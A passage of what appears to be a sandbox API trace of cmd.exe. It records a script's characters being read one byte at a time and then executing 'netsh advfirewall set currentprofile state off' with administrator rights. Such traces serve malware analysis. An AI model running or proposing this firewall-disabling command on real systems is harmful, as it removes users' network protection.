nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c60, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0046.939] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.939] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.939] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c62, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0046.939] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.939] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.939] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c64, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0046.939] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.939] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.939] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c66, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0046.940] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.940] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.940] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c68, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0046.940] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.940] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.940] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c6a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0046.940] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.940] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.940] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c6c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0046.941] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.941] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.941] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c6e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0046.941] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.941] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.941] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c70, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0046.941] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.941] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.941] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c72, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0046.941] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.941] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.941] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c74, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0046.941] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.941] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.941] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c76, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0046.941] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.941] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.941] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c78, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0046.941] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.942] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.942] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c7a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0046.942] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.942] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.942] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c7c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0046.942] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.942] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.942] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c7e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0046.942] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.942] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.942] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c80, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0046.942] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.942] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.942] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c82, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0046.942] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.942] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.942] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c84, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0046.942] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.942] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.943] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0046.943] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.943] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.943] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c88, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0046.943] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.943] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.943] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c8a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0046.943] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.943] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.943] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c8c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0046.944] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.944] GetFileType (hFile=0x2a4) returned 0x3 [0046.944] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.944] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.944] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.944] GetFileType (hFile=0x2b0) returned 0x3 [0046.944] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0046.944] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x1d756ffa88, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x1d756ffa88*=0x2f, lpOverlapped=0x0) returned 1 [0046.944] GetProcessHeap () returned 0x1c845ac0000 [0046.944] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x4012) returned 0x1c845ac8fe0 [0046.944] GetProcessHeap () returned 0x1c845ac0000 [0046.945] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac8fe0) returned 1 [0046.945] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0046.945] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0046.945] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0046.945] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0046.945] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0046.945] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0046.945] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0046.945] GetProcessHeap () returned 0x1c845ac0000 [0046.945] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0xb0) returned 0x1c845ac8320 [0046.945] GetProcessHeap () returned 0x1c845ac0000 [0046.945] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x1c) returned 0x1c845ac6a80 [0046.946] GetProcessHeap () returned 0x1c845ac0000 [0046.946] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x64) returned 0x1c845ac1850 [0046.947] GetConsoleOutputCP () returned 0x1b5 [0047.454] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ba02fbb0 | out: lpCPInfo=0x7ff7ba02fbb0) returned 1 [0047.454] SetThreadUILanguage (LangId=0x0) returned 0x409 [0047.911] GetConsoleTitleW (in: lpConsoleTitle=0x1d756ff8d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0048.158] malloc (_Size=0xffce) returned 0x1c845be0840 [0048.158] ??_V@YAXPEAX@Z () returned 0x1c845be0840 [0048.159] malloc (_Size=0xffce) returned 0x1c845bf0820 [0048.159] ??_V@YAXPEAX@Z () returned 0x1c845bf0820 [0048.160] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0048.160] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0048.160] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0048.160] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0048.160] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0048.160] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0048.160] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0048.160] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0048.160] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0048.160] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0048.160] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0048.160] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0048.160] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0048.160] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0048.160] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0048.160] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0048.160] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0048.160] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0048.160] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0048.160] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0048.160] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0048.160] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0048.160] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0048.160] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0048.160] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0048.160] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0048.160] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0048.160] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0048.160] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0048.160] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0048.160] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0048.160] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0048.160] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0048.160] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0048.160] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0048.160] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0048.160] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0048.160] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0048.160] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0048.160] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0048.160] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0048.161] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0048.161] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0048.161] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0048.161] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0048.161] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0048.161] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0048.161] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0048.161] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0048.161] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0048.161] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0048.161] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0048.161] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0048.161] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0048.161] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0048.161] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0048.161] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0048.161] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0048.161] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0048.161] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0048.161] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0048.161] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0048.161] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0048.161] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0048.161] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0048.161] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0048.161] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0048.161] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0048.161] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0048.161] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0048.161] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0048.161] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0048.206] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0048.206] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0048.206] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0048.206] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0048.206] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0048.206] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0048.206] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0048.206] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0048.206] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0048.206] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0048.206] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0048.206] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0048.206] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0048.206] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0048.206] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0048.206] ??_V@YAXPEAX@Z () returned 0x1 [0048.206] GetProcessHeap () returned 0x1c845ac0000 [0048.206] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0xffde) returned 0x1c845ac8fe0 [0048.207] GetProcessHeap () returned 0x1c845ac0000 [0048.207] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x70) returned 0x1c845ac83e0 [0048.207] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0048.207] malloc (_Size=0xffce) returned 0x1c845bf0820 [0048.207] ??_V@YAXPEAX@Z () returned 0x1c845bf0820 [0048.207] GetProcessHeap () returned 0x1c845ac0000 [0048.207] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x1ffac) returned 0x1c845ad8fd0 [0048.209] SetErrorMode (uMode=0x0) returned 0x0 [0048.209] SetErrorMode (uMode=0x1) returned 0x0 [0048.209] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1c845ad8fe0, lpFilePart=0x1d756ff150 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x1d756ff150*="Desktop") returned 0x17 [0048.209] SetErrorMode (uMode=0x0) returned 0x1 [0048.209] GetProcessHeap () returned 0x1c845ac0000 [0048.209] RtlReAllocateHeap (Heap=0x1c845ac0000, Flags=0x0, Ptr=0x1c845ad8fd0, Size=0x4c) returned 0x1c845ad8fd0 [0048.209] GetProcessHeap () returned 0x1c845ac0000 [0048.209] RtlSizeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, MemoryPointer=0x1c845ad8fd0) returned 0x4c [0048.209] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7ba02bb90, 